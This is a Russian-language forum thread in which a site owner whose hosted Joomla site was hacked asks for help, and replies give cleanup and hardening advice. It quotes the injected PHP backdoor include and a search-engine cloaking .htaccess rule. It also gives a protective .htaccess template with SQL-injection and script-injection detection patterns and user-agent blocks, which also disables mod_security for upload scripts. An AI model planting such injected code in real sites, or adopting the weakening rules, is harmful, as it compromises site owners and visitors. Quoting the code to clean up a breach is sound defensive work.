Всем привет!
Первый раз столкнулся с подобным, проблема не прекращается, поэтому прошу вашей помощи.
Хостинг Джино.
4 папки - один сайт работает, второй тестовый, две папки пустые.
В один день мне пришло письмо от гугла:
На сайте обнаружен взломанный контент
Ниже перечислены URL некоторых взломанных страниц. Они помогут Вам определить причину проблемы. Это неполный список.
http://.ru/pzch7/%3Cfooterhttp://.ru/pzch7/Paga-Oraria-Colf-2016.htmlВот собственно во всех папках на хостинге появились эти папки PZCH7
По запросу техподдержка восстановила сайты.
Окей.
Прошло еще пару дней, смотрю, в папках появляются посторонние файлы. См. картинку:
Вчера я сменил пароль на ФТП.
Сегодня вот обед - бац! Файлики опять появились. Не PZCH7, а именно вот такой набор.
В индекс.пхп вот такая запись:
<?php error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?><?php error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?>В хтааксесс вот такая:
<IfModule mod_rewrite.c>RewriteEngine OnRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)RewriteRule ^.*$ index.php [L]</IfModule>Собственно, вопрос: подскажите, что делать в этой ситуации? Куда копать, что искать.
Что делать?
На тестовом - вордпресс
2. Убедитесь, что на папки и файлы сайта выставлены нужные права, в которых разрешено только чтение и запись и только владельцем, выполнение не доступно, для других групп пользователей недоступно ничего.
3. Смените пароли: к админке хостера, админке сайта, к БД и к FTP. Если вы используете для FTP программу типа Filezilla отметьте в ней: "Сохранять пароль до выхода из программы", чтобы пароль не запоминался после выхода из программы.
4. Обновите CMS до актуальной версии.
5. В корневом htaccess:
- запретите доступ к файлам конфигурации
- запретите запросы к файлам, исключая запрос с GET параметром
6. Регулярно просматривайте логи сайта на предмет поиска подозрительных запросов или действий - это поможет выявить источник проблем.
Пункт 1 был сделан ТП хостинга.
Пункт 2 не делал, сейчас буду изучать.
Пункт 3: к админке хостинга, к ФТП сменил. К Админке сайта понятно как менять, а как менять к БД?
Пункт 4: Вот тут наверное самый большой затык. Читал, что Джумла может убить сайт... При обновлении...
Пункт 5: видимо, это как раз ответ ниже. Сейчас погуглю.
Пункт 6: про логи тоже не подумал, спасибо!
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{query_string} concat.*\( [NC,OR]
RewriteCond %{query_string} union.*select.*\( [NC,OR]
RewriteCond %{query_string} union.*all.*select [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteCond %{REQUEST_URI} !^/index\.php
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php [L]
SetEnvIf user-agent "Indy Library" stayout=1
SetEnvIf user-agent "libwww-perl" stayout=1
SetEnvIf user-agent "Wget" stayout=1
deny from env=stayout
<IfModule mod_headers.c>
<FilesMatch "\.(js|css|xml|gz)$">
Header append Vary: Accept-Encoding
</FilesMatch>
</IfModule>
<IfModule mod_security.c>
<Files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</Files>
</IfModule>
<IfModule mod_security.c>
<Files upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</Files>
</IfModule>
<files .htaccess>
order allow,deny
deny from all
</files>
На тестовом - Вордпресс
За шаблон спасибо. Сейчас поизучаю!
Я не спец, но рекомендую следующие шаги кроме установки "чистых файлов движка" и восстановления бекапа:
1. установка защитных плагинов на движок.
2. редактирование файла Htacess (можете так и набрать в поиске "защита от хакеров с помощью Htaccess").
3. выставление прав на папки и файлы (можно через фтп-клиент или из панели управления хостингом). В хостинге выбрать что-то вроде "менять рекурсивно", то есть для всех файлов или папок движка.
4. всякие дополнительные фишки в виде плагинов, которые закрывают от постороннего просмотра версию движка и т.д.
5. использование последних версий движка и плагинов.
xakep.ru/2015/05/10/defend-wordpress-yourself
Хорошо что сайт связан с сезонным бизнесом и сейчас не сезон. Есть время покурить мануалы!
Пароль к БД меняется через админку хостинга. В ней обязательно должна быть возможность:
создания и удаления БД, изменение имени БД\юзера и пароля.
Пункт 4: Вот тут наверное самый большой затык. Читал, что Джумла может убить сайт... При обновлении...
1. Сделайте бэкапы БД и сайта. Сохраните их на компе.
2. Обновите движок через админку сайта, следуя инструкцииям и подсказкам.
Как максимум: 700 но это рискованно